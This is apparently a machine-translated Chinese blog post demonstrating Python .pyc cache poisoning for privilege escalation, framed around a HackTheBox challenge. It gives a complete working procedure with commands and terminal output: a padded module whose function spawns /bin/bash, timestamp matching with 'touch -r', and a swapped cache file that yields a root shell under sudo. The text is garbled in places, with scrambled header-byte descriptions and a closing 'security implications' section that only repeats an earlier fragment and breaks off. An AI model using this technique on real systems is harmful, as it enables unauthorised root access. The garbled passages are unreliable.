Python 缓存中毒在机械上很简单,并且在特定且遗憾地仍然常见的配置错误下可以被利用。在某些情况下,正如最近一次HackTheBox挑战(该挑战将不具名)所示,它可以被用来提升恶意用户的权限并攻破系统。但首先让我们理解为什么它有字节码缓存机制。Python 对象:
当你运行脚本时,解释器会编译你导入的所有模块(即不是脚本本身),并将生成的字节码存储在模块源代码旁边的一个文件夹里。当你再次运行脚本时,如果没有变化,解释器会直接从缓存加载字节码。该机制允许解释器跳过文件解析,加快整体执行速度。关于字节码的具体描述和执行内部结构,可以查看 opensource.com 上的这篇文章。
让我们来考虑一个非常简单的例子。该文件是调用以下部分函数的主脚本:import pyc_mod as mod def main(): print("Hello World!") print(mod.sum_square(2, 3)) print(mod.square(2)) if __name__ == "__main__": main()
该文件定义了这两个和功能:pyc_mod.pysquaresum_square# (not so) complex module that provides helper functions # for squaring and summing squares of integers # return the sum of the squares of two integers def sum_square(a: int, b: int) -> int: return a * a + b * b def square(a: int) -> int: return a * a
让我们看看脚本运行时会发生什么:pyc_poison.py% python3 pyc_poison.py Hello World! 13 4 % ls __pycache__ pyc_mod.cpython-314.pyc % stat -x -t %s pyc_mod.py File: "pyc_mod.py" Size: 248 FileType: Regular File Mode: (0644/-rw-r--r--) Uid: ( 501/bigfatfrodo) Gid: ( 20/ staff) Device: 1,14 Inode: 51659942 Links: 1 Access: 1769005410 Modify: 1769005409 Change: 1769005409 Birth: 1769002236
% xxd __pycache__/pyc_mod.cpython-314.pyc | head -4 00000000: 2b0e 0d0a 0000 0000 61e1 7069 f800 0000 +.......a.pi.... 00000010: e300 0000 0000 0000 0000 0000 0002 0000 ................ 00000020: 0000 0000 00f3 1e00 0000 8000 5200 1700 ............R... 00000030: 5201 1700 6c10 7400 5202 1700 5203 1700 R...l.t.R...R... .....
.pyc 文件属性
在准备缓存中毒时,我们需要了解目标文件的格式。目标文件的头部为16字节,具体如下:
- bytes:识别Python版本的魔术数字。
0-3 - 字节:位字段; 对于基于时间戳、基于哈希的未检查、基于哈希的检查。
4-7013 - 字节:源修改时间戳(由返回的)或哈希(取决于位字段)
8-11stat - 字节:源文件大小
12-15 - bytes : 封存对象代码
16+
对我们的档案进行快速现实检验:
- 魔术数字,识别Python 3.14.2
0x2b 0x0e 0x0d 0x0a - 我们的源文件大小为248字节,或者
0xf8 - 基于时间戳的检查,因为位字段为0。修改源的时间戳为1769005409,与头部中的端序相符。
0x6970e161
注意:如果这些文件中有任何不匹配——比如 Python 版本、源文件大小——或者源代码比缓存文件更新,缓存文件将被丢弃并重新编译代码。缓存中毒
这些检查并不难让恶意行为者创建自定义的编译对象,比如给他一个 shell。结合其他安全漏洞,比如允许普通用户以 root 身份运行,允许对缓存文件夹进行世界写入访问,可能导致权限升级:在我们的例子中,我们创建一个文件,目的是用一个新的对象替换编译后的对象,当调用 时,我们会被带入到一个 shell 中:pyc_malicious.pypyc_modsum_squarepyc_poison.pyimport pty #12345678 #12345678 #12345678 #12345678 #12345678 #12345678 #12345678 #12345678 #12 # return the sum of the squares of two integers def sum_square(a, b: int) -> int: pty.spawn('/bin/bash') def square(a: int) -> int: return a * a
该文件的大小必须正好为248字节——因此有填充注释。该函数被shell spawn替换。另一个函数sum_square保持不变。该文件可通过运行 直接编译,结果也会被放入该文件夹中。python3 -m py_compile pyc_malicious.py__pycache__% ls __pycache__/ pyc_malicious.cpython-314.pyc pyc_mod.cpython-314.pyc
现在,缓存文件夹里有原始的对象文件,也有新的目标文件。注意我生成目标文件时使用了相同的 Python 版本。pyc_modpyc_malicious% xxd __pycache__/pyc_mod.cpython-314.pyc| head -1 00000000: 2b0e 0d0a 0000 0000 61e1 7069 f800 0000 +.......a.pi.... % % xxd __pycache__/pyc_malicious.cpython-314.pyc| head -1 00000000: 2b0e 0d0a 0000 0000 fd07 7a69 f800 0000 +.........zi....
魔数、位域和大小场是匹配的。剩下的就是让时间戳字段也匹配。我们可以用touch:% touch -r pyc_mod.py pyc_malicious.py % stat -x -t %s pyc_malicious.py File: "pyc_malicious.py" Size: 248 FileType: Regular File Mode: (0644/-rw-r--r--) Uid: ( 501/bigfatfrodo) Gid: ( 20/ staff) Device: 1,14 Inode: 52358264 Links: 1 Access: 1769605821 Modify: 1769005409 Change: 1769605820 Birth: 1769005409
touch -r使用引用文件,并更新目标文件上修改的时间戳以匹配该引用。这正是我们需要的。% python3 -m py_compile pyc_malicious.py % xxd __pycache__/pyc_mod.cpython-314.pyc| head -1 00000000: 2b0e 0d0a 0000 0000 61e1 7069 f800 0000 +.......a.pi.... % xxd __pycache__/pyc_malicious.cpython-314.pyc| head -1 00000000: 2b0e 0d0a 0000 0000 61e1 7069 f800 0000 +.......a.pi....
现在这两个文件的头完全匹配。我们可以复制第二个文件,并像之前一样运行脚本,得到一个 shell:pyc_poison.py% mv __pycache__/pyc_malicious.cpython-314.pyc __pycache__/pyc_mod.cpython-314.pyc % ls __pycache__ pyc_mod.cpython-314.pyc % python3 pyc_poison.py Hello World! The default interactive shell is now zsh. To update your account to use zsh, please run `chsh -s /bin/zsh`. For more details, please visit https://support.apple.com/kb/HT208050. bash-3.2$
或者,如果允许用户运行 ,则获得 #_root_ shell:`python``sudo`
% sudo python3 pyc_poison.py Hello World! The default interactive shell is now zsh. To update your account to use zsh, please run `chsh -s /bin/zsh`. For more details, please visit https://support.apple.com/kb/HT208050. bash-3.2#
安全启示
——比如 Python 版本、源文件大
小——或者源代码比缓存文件更新,缓存文件将被丢弃并重